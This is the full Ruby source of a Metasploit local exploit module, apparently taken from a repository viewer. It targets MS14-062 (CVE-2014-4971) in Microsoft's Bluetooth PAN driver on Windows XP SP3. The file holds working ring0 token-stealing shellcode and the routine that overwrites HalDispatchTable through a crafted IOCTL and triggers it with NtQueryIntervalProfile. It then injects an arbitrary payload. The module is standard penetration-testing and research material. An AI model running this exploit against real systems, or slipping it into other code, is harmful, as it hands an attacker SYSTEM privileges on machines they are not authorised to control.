Path: blob/master/modules/exploits/windows/local/bthpan.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = AverageRanking78include Msf::Exploit::Local::WindowsKernel9include Msf::Post::File10include Msf::Post::Windows::FileInfo11include Msf::Post::Windows::Priv12include Msf::Post::Windows::Process1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',19'Description' => %q{20A vulnerability within Microsoft Bluetooth Personal Area Networking module,21BthPan.sys, can allow an attacker to inject memory controlled by the attacker22into an arbitrary location. This can be used by an attacker to overwrite23HalDispatchTable+0x4 and execute arbitrary code by subsequently calling24NtQueryIntervalProfile.25},26'License' => MSF_LICENSE,27'Author' => [28'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC29'Jay Smith <jsmith[at]korelogic.com>' # MSF module30],31'Arch' => ARCH_X86,32'Platform' => 'win',33'SessionTypes' => [ 'meterpreter' ],34'DefaultOptions' => {35'EXITFUNC' => 'thread'36},37'Targets' => [38[39'Windows XP SP3',40{41'HaliQuerySystemInfo' => 0x16bba,42'_KPROCESS' => "\x44",43'_TOKEN' => "\xc8",44'_UPID' => "\x84",45'_APLINKS' => "\x88"46}47]48],49'References' => [50[ 'MSB', 'MS14-062' ],51[ 'CVE', '2014-4971' ],52[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],53[ 'OSVDB', '109387' ]54],55'DisclosureDate' => '2014-07-18',56'DefaultTarget' => 0,57'Compat' => {58'Meterpreter' => {59'Commands' => %w[60stdapi_railgun_api61stdapi_sys_process_attach62stdapi_sys_process_getpid63stdapi_sys_process_memory_write64]65}66},67'Notes' => {68'Reliability' => UNKNOWN_RELIABILITY,69'Stability' => UNKNOWN_STABILITY,70'SideEffects' => UNKNOWN_SIDE_EFFECTS71}72)73)74end7576def ring0_shellcode77tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"78tokenswap << "\x8B\x40\x44\x50\xBB\x04"79tokenswap << "\x00\x00\x00\x8B\x80\x88"80tokenswap << "\x00\x00\x00\x2D\x88"81tokenswap << "\x00\x00\x00\x39\x98\x84"82tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"83tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"84tokenswap << [session.sys.process.getpid].pack('V')85tokenswap << "\x8B\x80\x88\x00\x00\x00"86tokenswap << "\x2D\x88\x00\x00\x00"87tokenswap << "\x39\x98\x84\x00\x00\x00"88tokenswap << "\x75\xED\x89\xB8\xC8"89tokenswap << "\x00\x00\x00\x61\xC3"90end9192def fill_memory(proc, address, length, content)93session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')9495unless proc.memory.writable?(address)96vprint_error('Failed to allocate memory')97return nil98end99vprint_good("#{address} is now writable")100101result = proc.memory.write(address, content)102103if result.nil?104vprint_error('Failed to write contents to memory')105return nil106end107vprint_good("Contents successfully written to 0x#{address.to_s(16)}")108109return address110end111112def disclose_addresses(t)113addresses = {}114115hal_dispatch_table = find_haldispatchtable116return nil if hal_dispatch_table.nil?117118addresses['halDispatchTable'] = hal_dispatch_table119vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")120121vprint_status('Getting the hal.dll base address...')122hal_info = find_sys_base('hal.dll')123if hal_info.nil?124vprint_error('Failed to disclose hal.dll base address')125return nil126end127hal_base = hal_info[0]128vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")129130hali_query_system_information = hal_base + t['HaliQuerySystemInfo']131addresses['HaliQuerySystemInfo'] = hali_query_system_information132133vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")134addresses135end136137def check138# covers both native x64 and WOW64139if sysinfo['Architecture'] == ARCH_X64140return Exploit::CheckCode::Safe141end142143version = get_version_info144return Exploit::CheckCode::Safe unless version.build_number == Msf::WindowsVersion::XP_SP3145146handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')147return Exploit::CheckCode::Safe unless handle148149session.railgun.kernel32.CloseHandle(handle)150151return Exploit::CheckCode::Detected152end153154def exploit155if is_system?156fail_with(Failure::None, 'Session is already elevated')157end158159if check == Exploit::CheckCode::Safe160fail_with(Failure::NotVulnerable, 'Exploit not available on this system')161end162163handle = open_device('\\\\.\\bthpan', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')164if handle.nil?165fail_with(Failure::NoTarget, 'Unable to open \\\\.\\bthpan device')166end167168my_target = targets[0]169print_status('Disclosing the HalDispatchTable address...')170@addresses = disclose_addresses(my_target)171if @addresses.nil?172session.railgun.kernel32.CloseHandle(handle)173fail_with(Failure::Unknown, 'Failed to disclose necessary address for exploitation. Aborting.')174else175print_good('Address successfully disclosed.')176end177178print_status('Storing the shellcode in memory...')179this_proc = session.sys.process.open180kernel_shell = ring0_shellcode181kernel_shell_address = 0x1182183buf = "\x90" * 0x6000184buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400185buf[0x5000, kernel_shell.length] = kernel_shell186187result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)188if result.nil?189session.railgun.kernel32.CloseHandle(handle)190fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')191end192print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")193194print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')195session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses['halDispatchTable'] + 0x4, 0)196session.railgun.kernel32.CloseHandle(handle)197198print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')199session.railgun.ntdll.NtQueryIntervalProfile(2, 4)200201print_status('Checking privileges after exploitation...')202203unless is_system?204fail_with(Failure::Unknown, "The privilege escalation wasn't successful")205end206print_good('Privilege escalation successful!')207208p = payload.encoded209print_status("Injecting #{p.length} bytes to memory and executing it...")210unless execute_shellcode(p)211fail_with(Failure::Unknown, 'Error while executing the payload')212end213end214end215216217